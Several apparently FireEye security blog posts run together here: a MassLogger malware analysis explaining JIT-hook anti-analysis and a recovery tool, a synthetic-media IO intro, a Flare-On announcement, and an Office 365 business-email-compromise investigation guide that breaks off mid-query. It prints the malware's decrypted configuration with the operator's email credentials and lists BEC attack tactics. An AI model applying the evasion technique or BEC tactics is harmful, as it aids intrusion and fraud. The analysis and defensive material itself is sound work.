 User Name: user IP: 127.0.0.1 Location: United States OS: Microsoft Windows 7 Ultimate 32bit CPU: Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz GPU: VMware SVGA 3D AV: NA Screen Resolution: 1438x2460 Current Time: 6/17/2020 1:23:30 PM MassLogger Started: 6/17/2020 1:23:21 PM Interval: 2 hour MassLogger Process: C:\Users\user\Desktop\Bin-123.exe MassLogger Melt: false MassLogger Exit after delivery: false As Administrator: False Processes: Name:cmd, Title:Administrator: FakeNet-NG - fakenet Name:iexplore, Title:FakeNet-NG - Internet Explorer Name:dnSpy-x86, Title:dnSpy v6.0.5 (32-bit) Name:cmd, Title:Administrator: C:\Windows\System32\cmd.exe Name:ProcessHacker, Title:Process Hacker [WIN-R23GG4KO4SD\user]+ (Administrator) ### WD Exclusion ### Disabled ### USB Spread ### Disabled ### Binder ### Disabled ### Window Searcher ### Disabled ### Downloader ### Disabled ### Bot Killer ### Disabled ### Search And Upload ### Disabled ### Telegram Desktop ### Not Installed ### Pidgin ### Not Installed ### FileZilla ### Not Installed ### Discord Tokken ### Not Installed ### NordVPN ### Not Installed ### Outlook ### Not Installed ### FoxMail ### Not Installed ### Thunderbird ### Not Installed ### QQ Browser ### Not Installed ### FireFox ### Not Installed ### Chromium Recovery ### Not Installed ### Keylogger And Clipboard ###   [20/06/17]  [Welcome to Chrome - Google Chrome] [ESC] [20/06/17]  [Clipboard] Vewgbprxvhvjktmyxofjvpzgazqszaoo

Figure 1: Sample MassLogger log

#### Just Decompile It

Like many other .NET malwares, MassLogger obfuscates all of its methods names and even the method control flow. We can use de4dot to automatically deobfuscate the MassLogger payload. However, looking at the deobfuscated payload, we quickly identify a major issue: Most of the methods contain almost no logic as shown in Figure 2.

Figure 2: dnSpy showing empty methods

Looking at the original MassLogger payload in dnSpy’s Intermediate Language (IL) view confirms that most methods do not contain any logic and simply return nothing. This is obviously not the real malware since we already observed with dynamic analysis that the sample indeed performs malicious activities and logging to a log file. We are left with a few methods, most notably the method with the token 0x0600049D called first thing in the main module constructor.

Figure 3: dnSpy IL view showing the method's details

Method 0x0600049D control flow has been obfuscated into a series of switch statements. We can still somewhat follow the method’s high-level logic with the help of dnSpy as a debugger. However, fully analyzing the method would be very time consuming. Instead, when first analyzing this payload, I chose to quickly scan over the entire module to look for hints. Luckily, I spot a few interesting strings I missed during basic static analysis: clrjit.dll, VirtualAlloc, VirtualProtect and WriteProcessMemory as seen in Figure 4.

Figure 4: Interesting strings scattered throughout the module

A quick internet search for “clrjit.dll” and “VirtualProtect” quickly takes us to a few publications describing a technique commonly referred to as Just-In-Time Hooking. In essence, JIT Hooking involves installing a hook at the compileMethod() function where the JIT compiler is about to compile the MSIL into assembly (x86, x64, etc). With the hook in place, the malware can easily replace each method body with the real MSIL that contains the original malware logic. To fully understand this process, let’s explore the .NET executable, the .NET methods, and how MSIL turns into x86 or x64 assembly.

#### .NET Executable Methods

A .NET executable is just another binary following the Portable Executable (PE) format. There are plenty of resources describing the PE file format, the .NET metadata and the .NET token tables in detail. I recommend our readers to take a quick detour and refresh their memory on those topics before continuing. This post won’t go into further details but will focus on the .NET methods instead.

Each .NET method in a .NET assembly is identified by a token. In fact, everything in a .NET assembly, whether it’s a module, a class, a method prototype, or a string, is identified by a token. Let’s look at method identified by the token 0x0600049D, as shown in Figure 5. The most-significant byte (0x06) tells us that this token is a method token (type 0x06) instead of a module token (type 0x00), a TypeDef token (type 0x02), or a LocalVarSig token (type 0x11), for example. The three least significant bytes tell us the ID of the method, in this case it’s 0x49D (1181 in decimal). This ID is also referred to as the Method ID (MID) or the Row ID of the method.

Figure 5: Method details for method 0x0600049D

To find out more information about this method, we look within the tables of the “#~” stream of the .NET metadata streams in the .NET metadata directory as show in Figure 6. We traverse to the entry number 1181 or 0x49D of the Method table to find the method metadata which includes the Relative Virtual Address (RVA) of the method body, various flags, a pointer to the name of the method, a pointer to the method signature, and finally, an pointer to the parameters specification for this method. Please note that the MID starts at 1 instead of 0.

Figure 6: Method details from the PE file header

For method 0x0600049D, the RVA of the method body is 0xB690. This RVA belongs to the .text section whose RVA is 0x2000. Therefore, this method body begins at 0x9690 (0xB6900x2000) bytes into the .text section. The .text section starts at 0x200 bytes into the file according to the section header. As a result, we can find the method body at 0x9890 (0x9690 + 0x200) bytes offset into the file. We can see the method body in Figure 7.

Figure 7: Method 0x0600049D body in a hex editor

#### .NET Method Body

The .NET method body starts with a method body header, followed by the MSIL bytes. There are two types of .NET methods: a tiny method and a fat method. Looking at the first byte of the method body header, the two least-significant bits tell us if the method is tiny (where the last two bits are 10) or fat (where the last two bits are 11).

.NET Tiny Method

Let’s look at method 0x06000495. Following the same steps described earlier, we check the row number 0x495 (1173 in decimal) of the Method table to find the method body RVA is 0x7A7C which translates to 0x5C7C as the offset into the file. At this offset, the first byte of the method body is 0x0A (0000 1010 in binary).

Figure 8: Method 0x06000495 metadata and body

Since the two least-significant bits are 10, we know that 0x06000495 is a tiny method. For a tiny method, the method body header is one byte long. The two least-significant bits are 10 to indicate that this is the tiny method, and the six most-significant bits tell us the size of the MSIL to follow (i.e. how long the MSIL is). In this case, the six most-significant bits are 000010, which tells us the method body is two bytes long. The entire method body for 0x06000495 is 0A 16 2A, followed by a NULL byte, which has been disassembled by dnSpy as shown in Figure 9.

Figure 9: Method 0x06000495 in dnSpy IL view

.NET Fat Method

Coming back to method 0x0600049D (entry number 1181) at offset 0x9890 into the file (RVA 0xB690), the first byte of the method body is 0x1B (or 0001 1011 in binary). The two least-significant bits are 11, indicating that 0x0600049D is a fat method. The fat method body header is 12-byte long whose structure is beyond the scope of this blog post. The field we really care about is a four-byte field at offset 0x04 byte into this fat header. This field specifies the length of the MSIL that follows this method body header. For method 0x0600049D, the entire method body header is “1B 30 08 00 A8 61 00 00 75 00 00 11” and the length of the MSIL to follow is “A8 61 00 00” or 0x61A8 (25000 in decimal) bytes.

Figure 10: Method 0x0600049D body in a hex editor

#### JIT Compilation

Whether a method is tiny or fat, it does not execute as is. When the .NET runtime needs to execute a method, it follows exactly the process described earlier to find the method body which includes the method body header and the MSIL bytes. If this is the first time the method needs to run, the .NET runtime invokes the Just-In-Time compiler which takes the MSIL bytes and compiles them into x86 or x64 assembly depending on whether the current process is 32- or 64-bit. After some preparation, the JIT compiler eventually calls the compileMethod() function. The entire .NET runtime project is open-sourced and available on GitHub. We can easily find out that the compileMethod() function has the following prototype (Figure 11):

 CorJitResult __stdcall compileMethod (     ICorJitInfo                       *comp,               /* IN */     CORINFO_METHOD_INFO               *info,               /* IN */     unsigned /* code:CorJitFlag */    flags,               /* IN */     BYTE                              **nativeEntry,       /* OUT */     ULONG                             *nativeSizeOfCode    /* OUT */ );

Figure 11: compileMethod() function protype

Figure 12 shows the CORINFO_METHOD_INFO structure.

 struct CORINFO_METHOD_INFO {       CORINFO_METHOD_HANDLE       ftn;       CORINFO_MODULE_HANDLE       scope;       BYTE *                      ILCode;       unsigned                    ILCodeSize;       unsigned                    maxStack;       unsigned                    EHcount;       CorInfoOptions              options;       CorInfoRegionKind           regionKind;       CORINFO_SIG_INFO            args;       CORINFO_SIG_INFO            locals; };

Figure 12: CORINFO_METHOD_INFO structure

The ILCode is a pointer to the MSIL of the method to compile, and the ILCodeSize tells us how long the MSIL is. The return value of compileMethod() is an error code indicating success or failure. In case of success, the nativeEntry pointer is populated with the address of the executable memory region containing the x86 or the x64 instruction that is compiled from the MSIL.

#### MassLogger JIT Hooking

Let’s come back to MassLogger. As soon as the main module initialization runs, it first decrypts MSIL of the other methods. It then installs a hook to execute its own version of compileMethod() (method 0x06000499). This method replaces the ILCode and ILCodeSize fields of the info argument to the original compileMethod() with the real malware’s MSIL bytes.

In addition to replacing the MSIL bytes, MassLogger also patches the method body header at module initialization time. As seen from Figure 13, the method body header of method 0x060003DD on disk (at file offset 0x3CE0) is different from the header in memory (at RVA 0x5AE0). The only two things remaining quite consistent are the least significant two bits indicating whether the method is tiny or fat. To successfully defeat this anti-analysis technique, we must recover the real MSIL bytes as well as the correct method body headers.

Figure 13: Same method body with different headers when resting on disk vs. loaded in memory

#### Defeating JIT Method Body Replacement With JITM

To automatically recover the MSIL and the method body header, one possible approach suggested by another FLARE team member is to install our own hook at compileMethod() function before loading and allowing the MassLogger module constructor to run.  There are multiple tutorials and open-sourced projects on hooking compileMethod() using both managed hooks (the new compileMethod() is a managed method written in C#) and native hooks (the new compileMethod() is native and written in C or C++). However, due to the unique way MassLogger hooks compileMethod(), we cannot use the vtable hooking technique implemented by many of the aforementioned projects. Therefore, I’d like to share the following project: JITM, which is designed use inline hooking implemented by PolyHook library. JITM comes with a wrapper for compileMethod() which logs all the method body headers and MSIL bytes to a JSON file before calling the original compileMethod().

In addition to the hook, JITM also includes a .NET loader. This loader first loads the native hook DLL (jitmhook.dll) and installs the hook. The loader then loads the MassLogger payload and executes its entry point. This causes MassLogger’s module initialization code to execute and install its own hook, but hooking jitmhook.dll code instead of the original compileMethod(). An alternative approach to executing MassLogger’s entry point is to call the RuntimeHelpers.PrepareMethod() API to force the JIT compiler to run on all methods. This approach is better because it avoids running the malware, and it potentially can recover methods not called in the sample’s natural code path. However, additional work is required to force all methods to be compiled properly.

To load and recover MassLogger methods, first run the following command (Figure 14):

 jitm.exe Bin-123.exe [optional_timeout]

Figure 14: Command to run jitm

Once the timeout expires, you should see the files jitm.log and jitm.json created in the current directory. jitm.json contains the method tokens, method body headers and MSIL bytes of all methods recovered from Bin-123.exe. The only thing left to do is to rebuild the .NET metadata so we can perform static analysis.

Figure 15: Sample jitm.json

#### Rebuilding the Assembly

Since the decrypted method body headers and MSIL bytes may not fit in the original .NET assembly properly, the easiest thing to do is to add a new section and a section header to MassLogger. There are plenty of resources on how to add a PE section header and data, none of which is trivial or easy to automate. Therefore, JITM also include the following Python 2.7 helper script to automate this process: Scripts\addsection.py.

With the method body header and MSIL of each method added to a new PE section as shown in Figure 16, we can easily parse the .NET metadata and fix each method’s RVA to point to the correct method body within the new section. Unfortunately, I did not find any Python library to easily parse the .NET metadata and the MethodDef table. Therefore, JITM also includes a partially implemented .NET metadata parser: Script\pydnet.py. This script uses pefile and vivisect modules and parses the PE file up to the Method table to extract all methods and their associated RVAs.

Figure 16: Bin-123.exe before and after adding an additional section named FLARE

Finally, to tie everything together, JITM provides Script\fix_assembly.py to perform the following tasks:

1. Write the method body header and MSIL of each method recovered in jitm.json into a temporary binary file named “section.bin” while at the same time remember the associated method token and the offset into section.bin.
2. Use addsection.py to add section.bin into Bin-123.exe and save the data into a new file, e.g. Bin-123.fixed.exe.
3. Use pydnet.py to parse Bin-123.fixed.exe and update the RVA field of each method entry in the MethodDef table to point to the correct RVA into the new section.

The final result is a partially reconstructed .NET assembly. Although additional work is necessary to get this assembly to run correctly, it is good enough to perform static analysis to understand the malware’s high-level functionalities.

Let’s look at the reconstructed method 0x0600043E that implements the decryption logic for the malware configuration. Compared to the original MSIL, the reconstructed MSIL now shows that the malware uses AES-256 in CBC mode with PKCS7 padding. With a combination of dynamic analysis and static analysis, we can also easily identify the key to be “Vewgbprxvhvjktmyxofjvpzgazqszaoo” and the IV to be part of the Base64-encoded buffer passed in as its argument.

Figure 17: Method 0x0600043 before and after fixing the assembly

Armed with that knowledge, we can write a simple tool to decrypt the malware configuration and recover all HBIs and NBIs (Figure 18).

 BinderBytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                 BinderName: Mzvmy_Nyrrd                 BinderOnce: false         DownloaderFilename: Hrebxs             DownloaderOnce: false              DownloaderUrl: Vrwus               EmailAddress: appfoil@outlook.com                EmailClient: smtp.outlook.com                EmailEnable: true                  EmailPass: services000                  EmailPort: 587                EmailSendTo: appfoil@outlook.com                   EmailSsl: True         EnableAntiDebugger: false         EnableAntiHoneypot: false        EnableAntiSandboxie: false           EnableAntiVMware: false               EnableBinder: false            EnableBotKiller: false                                     EnableBrowserRecovery: true EnableDeleteZoneIdentifier: false           EnableDownloader: false             EnableForceUac: false              EnableInstall: false            EnableKeylogger: true           EnableMemoryScan: false                EnableMutex: false           EnableScreenshot: false      EnableSearchAndUpload: false            EnableSpreadUsb: false          EnableWDExclusion: false       EnableWindowSearcher: false              ExectionDelay: 6          ExitAfterDelivery: false                  FtpEnable: false                    FtpHost: ftp://127.0.0.1                    FtpPass:                    FtpPort: 21                    FtpUser: Foo                InstallFile: Pkkbdphw              InstallFolder: %AppData%        InstallSecondFolder: Eqrzwmf                        Key:                      Mutex: Ysjqh                PanelEnable: false                  PanelHost: http://example.com/panel/upload.php  SearchAndUploadExtensions: .jpeg, .txt, .docx, .doc,   SearchAndUploadSizeLimit: 500000     SearchAndUploadZipSize: 5000000               SelfDestruct: false            SendingInterval: 2                    Version: MassLogger v1.3.4.0     WindowSearcherKeywords: youtube, facebook, amazon,

Figure 18: Decrypted configuration

#### Conclusion

Using a JIT compiler hook to replace the MSIL is a powerful technique that makes static analysis almost impossible. Although this technique is not new, I haven’t seen many .NET malwares making use of it, let alone trying to implement their own adaptation instead of using widely available protectors like ConfuserEx. Hopefully, with this blog post and , analysts will now have the tools and knowledge to defeat MassLogger or any future variants that use a similar technique.

If this is the type of work that excites you; and, if you thrive to push the state of the art when it comes to malware analysis and reverse engineering, the Front Line Applied Research and Expertise (FLARE) team may be a good place for you. The FLARE team faces fun and exciting challenges on a daily basis; and we are constantly looking for more team members to tackle these challenges head on. Check out FireEye’s career page to see if any of our opportunities would be a good fit for you.

#### Contributors (Listed Alphabetically)

• Tyler Dean (@spresec): Technical review of the post
• Michael Durakovich: Technical review of the post
• Stephen Eckels (@stevemk14ebr): Help with porting JITM to use PolyHook
• Jon Erickson (@evil-e): Technical review of the post
• Moritz Raabe (@m_r_tz): Technical review of the post

# Repurposing Neural Networks to Generate Synthetic Media for Information Operations

FireEye’s Data Science and Information Operations Analysis teams released this blog post to coincide with our Black Hat USA 2020 Briefing, which details how open source, pre-trained neural networks can be leveraged to generate synthetic media for malicious purposes. To summarize our presentation, we first demonstrate three successive proof of concepts for how machine learning models can be fine-tuned in order to generate customizable synthetic media in the text, image, and audio domains. Next, we illustrate examples in which synthetically generated media have been weaponized for information operations (IO), as detected on the front lines by Mandiant Threat Intelligence. Finally, we outline challenges in detecting synthetically generated content, and lay out potential paths forward in a future where synthetically generated media will increasingly look, speak, and write like us.

 Highlights Open source, pre-trained natural language processing, computer vision, and speech recognition neural networks can be weaponized for offensive social media-driven IO campaigns. Detection, attribution, and response is challenging in scenarios where actors can anonymously generate and distribute credible fake content using proprietary training datasets. The security community can and should help AI researchers, policy makers, and other stakeholders mitigate the harmful use of open source models.

#### Background: Synthetic Media, Generative Models, and Transfer Learning

Synthetic media is by no means a new development; methods for manipulating media for specific agendas are as old as the media themselves. In the 1930’s, the chief of the Soviet secret police was photographed walking alongside Joseph Stalin before being retouched out of an official press photo, after he himself was arrested and executed during the Great Purge. Digital graphic manipulation like this became prominent with the advent of Photoshop. Then later in the 2010’s, the term “deepfake” was coined. While deepfake videos, including techniques like face swapping and lip syncing, are concerning in the long term, this blog post focuses on more basic, but we argue more believable, synthetic media generation advancements in the text, static image, and audio domains. Machine learning approaches for creating synthetic media are underpinned by generative models, which have been effectively misused to fabricate high volume submissions to federal public comment websites and clone a voice to trick an executive into handing over 240,000. The pre-training required to produce models capable of synthetic media generation can cost thousands of dollars, take weeks or months of time, and require access to expensive GPU clusters. However, the application of transfer learning can drastically reduce the amount of time and effort involved. In transfer learning, we start from a large generic model that has been pre-trained for an initial task where copious data is available. We then leverage the model’s acquired knowledge to train it further on a different, smaller dataset so that it excels at a subsequent, related task. This process of training the model further is referred to as fine-tuning, which typically requires less resources compared to pre-training from scratch. You can think of this in more relatable terms—if you’re a professional tennis player, you don’t need to completely relearn how to swing a racket in order to excel at badminton. # Announcing the Seventh Annual Flare-On Challenge The Front Line Applied Research & Expertise (FLARE) team is honored to announce that the popular Flare-On challenge will return for a triumphant seventh year. Ongoing global events proved no match against our passion for creating challenging and fun puzzles to test and hone the skills of aspiring and experienced reverse engineers. The contest will begin at 8:00 p.m. ET on Sept. 11, 2020. This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts and security professionals. The contest runs for six full weeks and ends at 8:00 p.m. ET on Oct. 23, 2020. This year’s contest features a total of 11 challenges in a variety of formats, including Windows, Linux, Python, VBA and .NET. This is one of the only Windows-centric CTF contests out there and we have crafted it to closely represent the challenges faced by our FLARE team on a daily basis. If you are skilled and dedicated enough to complete the seventh Flare-On challenge, you will receive a prize and recognition on the Flare-On website for your accomplishment. Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers. In previous years we sent out belt buckles, replica police badges, challenge coins, medals and huge pins. Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice. For official news and information, we will be using the Twitter hashtag: #flareon7. # Obscured by Clouds: Insights into Office 365 Attacks and How Mandiant Managed Defense Investigates With Business Email Compromises (BECs) showing no signs of slowing down, it is becoming increasingly important for security analysts to understand Office 365 (O365) breaches and how to properly investigate them. This blog post is for those who have yet to dip their toes into the waters of an O365 BEC, providing a crash course on Microsoft’s cloud productivity suite and its assortment of logs and data sources useful to investigators. We’ll also go over common attacker tactics we’ve observed while responding to BECs and provide insight into how Mandiant Managed Defense analysts approach these investigations at our customers using PowerShell and the FireEye Helix platform. #### Office 365 Office 365 is Microsoft’s cloud-based subscription service for the Microsoft Office suite. It is built from dozens of applications tightly embedded into the lives of today’s workforce, including: • Exchange Online, for emails • SharePoint, for intranet portals and document sharing • Teams and Skype for Business, for instant messaging • OneDrive, for file sharing • Microsoft Stream, for recorded meetings and presentations As more and more organizations decide to adopt Microsoft’s cloud-based offering to meet their needs, unauthorized access to these O365 environments, or tenants in Microsoft’s parlance, has become increasingly lucrative to motivated attackers. The current high adoption rate of O365 means that attackers are getting plenty of hands on experience with using and abusing the platform. While many tactics have remained largely unchanged in the years since we’ve first observed them, we’ve also witnessed the evolution of techniques that are effective against even security-conscious users. In general, the O365 compromises we’ve responded to have fallen into two categories: • Business Email Compromises (BECs) • APT or state-sponsored intrusions Based on our experience, BECs are a common threat to any organization's O365 tenant. The term “BEC” typically refers to a type of fraud committed by financially motivated attackers. BEC actors heavily rely on social engineering to carry out their schemes, ultimately defrauding organizations and even personnel. One common BEC scheme involves compromising a C-suite executive’s account via phishing. Once the victim unwittingly enters their credentials into a web form masquerading as the legitimate Office 365 login portal, attackers log in and instruct others in the organization to conduct a wire transfer, perhaps under the guise of an upcoming acquisition that has yet to be publicly announced. However, we’ve also observed more effective schemes where attackers compromise those in financial positions and patiently wait until an email correspondence has begun about a due payment. Attackers seize this opportunity by sending a doctored invoice (sometimes based on a legitimate invoice that had been stolen earlier) on behalf of the compromised user to another victim responsible for making payments. These emails are typically hidden from the compromised user due to attacker-created Outlook mailbox rules. Often times, by the time the scheme is inevitably discovered and understood days or weeks later, the money is unrecoverable—highlighting the importance of contacting law enforcement immediately if you’ve fallen victim to a fraud. The personal finances of staff aren’t off limits to attackers either. We’ve observed several cases of W-2 scams, in which attackers send a request to HR for W-2 information from the victim’s account. Once obtained, this personally identifiable information is later used to conduct tax fraud. Conversely, APT intrusions are typically more sophisticated and are conducted by state-sponsored threat actors. Rather than for financial gain, APT actors are usually tasked to compromise O365 tenants for purposes of espionage, data theft, or destruction. Given the wealth of sensitive information housed in any given organization’s O365 tenant, APT actors may not even need to touch a single endpoint to complete their mission, sidestepping the many security controls organizations have implemented and invested in. #### O365 Logs and Data Sources In this section, we’ll touch on the multitude of logs and portals containing forensic data relevant to an O365 investigation. Before we can begin investigating an O365 case, we’ll work with our clients to get an “Investigator” account provisioned with the roles required to obtain the forensic data we need. For the purposes of this blog post, we’ll quickly list the roles needed for an Investigator account, but during an active Managed Defense investigation, a designated Managed Defense consultant will provide further guidance on account provisioning. At a minimum, the Investigator account should have the following roles: Exchange Admin Roles • View-only audit logs • View-only configuration • View-only recipients • Mailbox Search • Message Tracking eDiscovery Rights • eDiscovery Manager role Azure Active Directory Roles • Global Reader Unified Audit Log (UAL) The Unified Audit Log records activity from various applications within the Office 365 suite, and can be considered O365’s main log source. Entries in the UAL are stored in JSON format. We recommend using the PowerShell cmdlet Search-UnifiedAuditLog to query the UAL as it allows for greater flexibility, though it can also be acquired from the Office 365 Security & Compliance Center located at protection.office.com. In order to leverage this log source (and the Admin Audit Log), ensure that the Audit Log Search feature is enabled. The UAL has a few nuances that are important to consider. While it provides a good high-level summary of activity across various O365 applications, it won’t log comprehensive mailbox activity (for that, acquire the Mailbox Audit Log). Furthermore, the UAL has a few limitations, namely: • Results to a single query are limited to 5000 results • Only 90 days of activity are retained • Events may take up to 24 hours before they are searchable Mailbox Audit Log (MAL) The Mailbox Audit Log, part of Exchange Online, will capture additional actions performed against objects within a mailbox. As such, it’s a good idea acquire and analyze the MAL for each affected user account with the PowerShell cmdlet Search-MailboxAuditLog. Note that entries in the MAL will be retained for 90 days (by default) and timestamps will be based on the user’s local time zone. The MAL’s retention time can always be increased with the PowerShell cmdlet Set-Mailbox along with the AuditLogAgeLimit parameter. At the time of writing this post, Microsoft has recently released information about enhanced auditing functionality that gives investigators insight into which emails were accessed by attackers. This level of logging for regular user accounts is only available for organizations with an Office 365 E5 subscription. Once Advanced Auditing is enabled, mail access activity will be logged under the MailItemsAccessed operation in both the UAL and MAL. Administrator Audit Log If the Audit Log Search feature is enabled, this supplemental data source logs all PowerShell administrative cmdlets (including command-line arguments) executed by administrators. If you suspect that an administrator account was compromised, don’t overlook this log! The PowerShell cmdlet Search-AdminAuditLog is used to query these logs, but note that the Audit Log Search feature must be enabled and the same 90 day retention limit will be in place. Azure AD Logs Azure AD logs can be accessed from the Azure portal (portal.azure.com) under the Azure Active Directory service. Azure AD Sign-in logs contain detailed information about how authentications occur and O365 application usage. Azure AD audit logs are also a valuable source of information, containing records of password resets, account creations, role modifications, OAuth grants, and more that could be indicative of suspicious activity. Note that Azure AD logs are only available for 30 days. Cloud App Security Portal For cases where OAuth abuse has been observed, information about cloud applications can be found in Microsoft’s Cloud App Security portal (portal.cloudappsecurity.com). Access to this portal requires an E5 license or a standalone Cloud App license. For more background on OAuth abuse, be sure to check out our blog post: Shining a Light on OAuth Abuse with PwnAuth. Message Traces Message traces record the emails sent and received by a user. During an investigation, run reports on any email addresses of interest. The message trace report will contain detailed mail flow information as well as subject lines, original client IP addresses, and message sizes. Message traces are useful for identifying emails sent by attackers from compromised accounts, and can also aid in identifying initial phishing emails if phishing was used for initial access. To obtain the actual emails, use the Content Search tool. Only the past 10 days of activity is available with the Get-MessageTrace PowerShell cmdlet. Historical searches for older messages can be run with the Get-HistoricalSearch cmdlet (up to 90 days by default), but historical searches typically take hours for the report to be available. Historical reports can also be generated within the Security and Compliance Center. eDiscovery Content Searches The Content Search tool allows investigators to query for emails, documents, and instant message conversations stored in an Office 365 tenant. We frequently run Content Search queries to find and acquire copies of emails sent by attackers. Content searches are limited to what has been indexed by Microsoft, so recent activity may not immediately appear. Additionally, only the most recent 1000 items will be shown in the preview pane. #### Anatomy of an O365 BEC As mentioned earlier, BECs are one of the more prevalent threats to O365 tenants seen by Managed Defense today. Sometimes, Mandiant analysts respond to several BEC cases at our customers within the same week. With this frontline experience, we’ve compiled a list of commonly observed tactics and techniques to advise our readers about the types of activities one should anticipate. Please note that this is by no means a comprehensive list of O365 attacks, rather a focus on the usual routes we’ve seen BEC actors take to accomplish their objective. Phase 1: Initial Compromise • Phishing: Emails with links to credential harvesting forms sent to victims, sometimes from the account of a compromised business partner. • Brute force: A large dictionary of passwords attempted against an account of interest. • Password spray: A dictionary of commonly used passwords attempted against a list of known user accounts. • Access to credential dump: Valid credentials used from a previous compromise of the user. • MFA bypasses: Use of mail clients leveraging legacy authentication protocols (e.g. IMAP/POP), which bypass MFA policies. Attackers may also spam push notifications to the victim by repeatedly attempting to log in, eventually leading to the victim mistakenly accepting the prompt. Phase 2: Establish Foothold • More phishing: Additional phishing lures sent to internal/external contacts from Outlook’s global address list. • More credible lures: New phishing lures uploaded to the compromised user's OneDrive or SharePoint account and shared with the victim’s coworkers. • SMTP forwarding: SMTP forwarding enabled in the victim’s mailbox to forward all email to an external address. • Forwarding mailbox rules: Mailbox rules created to forward all or certain mail to an external address. • Mail client usage: Outlook or third-party mail clients used by attackers. Mail will continue to sync for a short while after a password reset occurs. Phase 3: Evasion • Evasive mailbox rules: Mailbox rules created to delete mail or move some or all incoming mail to uncommonly used folders in Outlook, such as “RSS Subscriptions”. • Manual evasion: Manual deletion of incoming and sent mail. Attackers may forego mailbox rules entirely. • Mail forwarding: Attackers accessing emails without logging in if a mechanism to forward mail to an external address was set up earlier. • Mail client usage: Outlook or third-party mail clients used by attackers. Mail can be synced locally to the attacker’s machine and accessed later. • VPN usage: VPN servers, sometimes with similar geolocations to their victims, used in an attempt to avoid detection and evade conditional access policies. Phase 4: Internal Reconnaissance • Outlook searching: The victim’s mailbox queried by attackers for emails of interest. While not recorded in audit logs, it may be available to export if it was not deleted by attackers. • O365 searching: Searches conducted within SharePoint and other O365 applications for content of interest. While not recorded in audit logs, SharePoint and OneDrive file interactions are recorded in the UAL. • Mail client usage: Outlook or third-party mail clients used by attackers. Mail can be synced locally to the attacker’s machine and accessed later. Phase 5: Complete Mission • Direct deposit update: A request sent to the HR department to update the victim’s direct deposit information, redirecting payment to the BEC actor. • W-2 scam: A request sent to the HR department for W-2 forms, used to harvest PII for tax fraud. • Wire transfer: A wire transfer requested for an unpaid invoice, upcoming M&A, charities, etc. • Third-party account abuse: Abuse of the compromised user’s privileged access to third-party accounts and services, such as access to a corporate rewards site. #### How Managed Defense Responds to O365 BECs In this section, we’re going to walk through how Managed Defense investigates a typical O365 BEC case. Many of the steps in our investigation rely on querying for logs with PowerShell. To do this, first establish a remote PowerShell session to Exchange Online. The following Microsoft documentation provides guidance on two methods to do this: Broad Scoping We start our investigations off by running broad queries against the Unified Audit Log (UAL) for suspicious activity. We’ll review OAuth activity too, which is especially important if something more nefarious than a financially motivated BEC is suspected. Any FireEye gear available to us—such as FireEye Helix and Email Security—will be leveraged to augment the data available to us from Office 365. The following are a few initial scoping queries we’d typically run at the beginning of a Managed Defense engagement. Scoping Recent Mailbox Rule Activity Even in large tenants, pulling back all recent mailbox rule activity doesn’t typically produce an unmanageable number of results, and attacker-created rules tend to stand out from the rest of the noise. Querying UAL for all mailbox rule activity in Helix:  class=ms_office365 action:[New-InboxRule, Set-InboxRule, Enable-InboxRule] | table [createdtime, action, username, srcipv4, srcregion, parameters, rawmsg] Query UAL for new mail rule activity in PowerShell:  Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) -ResultSize 5000 -Operations "New-InboxRule","Set-InboxRule","Enable-InboxRule" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Scoping SMTP Forwarding Activity SMTP forwarding is sometimes overlooked because it appears under a UAL operation separate from mailbox rules. This query looks for the Set-Mailbox operation containing a parameter to forward mail over SMTP, indicative of automatic forwarding being enabled from OWA. Querying UAL for SMTP forwarding in Helix:  class=ms_office365 action=Set-Mailbox rawmsg:ForwardingSmtpAddress | table [createdtime, action, username, srcipv4, srcregion, parameters, rawmsg] Querying UAL for SMTP forwarding in PowerShell:  Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) -ResultSize 5000 -FreeText "ForwardingSmtpAddress" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Analyze Compromised Users Logs After we’ve finished scoping the tenant, we’ll turn our attention to the individual users believed to be involved in the compromise. We’ll acquire all relevant O365 logs for the identified compromised user(s) - this includes the user's UAL, Mailbox Audit Log (MAL), and Admin audit log (if the user is an administrator). We’ll review these logs for anomalous account activity and assemble a list of attacker IP addresses and User-Agents strings. We’ll use this list to further scope the tenant. O365 investigations rely heavily on anomaly detection. Many times, the BEC actor may even be active at the same time as the user. In order to accurately differentiate between legitimate user activity and attacker activity within a compromised account, it's recommended to pull back as much data as possible to use as a reference for legitimate activity. Using the Helix query transforms groupby < [srccountry,srcregion], groupby < useragent and groupby < srcipv4 , which highlight the least common geolocations, User Agent strings, and IP addresses, can also assist in identifying anomalies in results. Querying UAL for a user in Helix:  class=ms_office365 username=user@client.com | table [createdtime, action, username, srcipv4, srccountry, srcregion, useragent, rawmsg] | groupby < [srccountry,srcregion] Querying UAL for a user in PowerShell:  Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -UserIds user@client.com | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Querying MAL for a user in PowerShell:  Search-MailboxAuditLog -Identity user@client.com -LogonTypes Owner,Delegate,Admin -ShowDetails -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Querying Admin Audit Log for all events within a certain date in PowerShell:  Search-AdminAuditLog -StartDate mm/dd/yyyy -EndDate mm/dd/yyyy | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Query UAL with New Leads Now that we’ve built a list of suspicious IP addresses (or even entire CIDR ranges) and User-Agent strings, we’ll run new queries against the entire UAL to try to identify other compromised user accounts. We’ll repeat this step and the previous step for each newly identified user account. One advantage to using FireEye Helix platform over PowerShell is that we can query entire CIDR ranges. This is helpful when we observe attackers coming from a VPN or ISP that dynamically assigns IP addresses within the same address block. Queries for attacker User-Agent strings usually generate more noise to sift through than IP address searches. In practice, User-Agent queries are only beneficial if the attackers are using an uncommon browser or version of a browser. Due to limitations of the Search-UnifiedAuditLog cmdlet, we’ve had the most success using the FreeText parameter and searching for simple strings. In Helix:  class=ms_office365 (srcipv4:[1.2.3.4, 2.3.4.0/24] OR 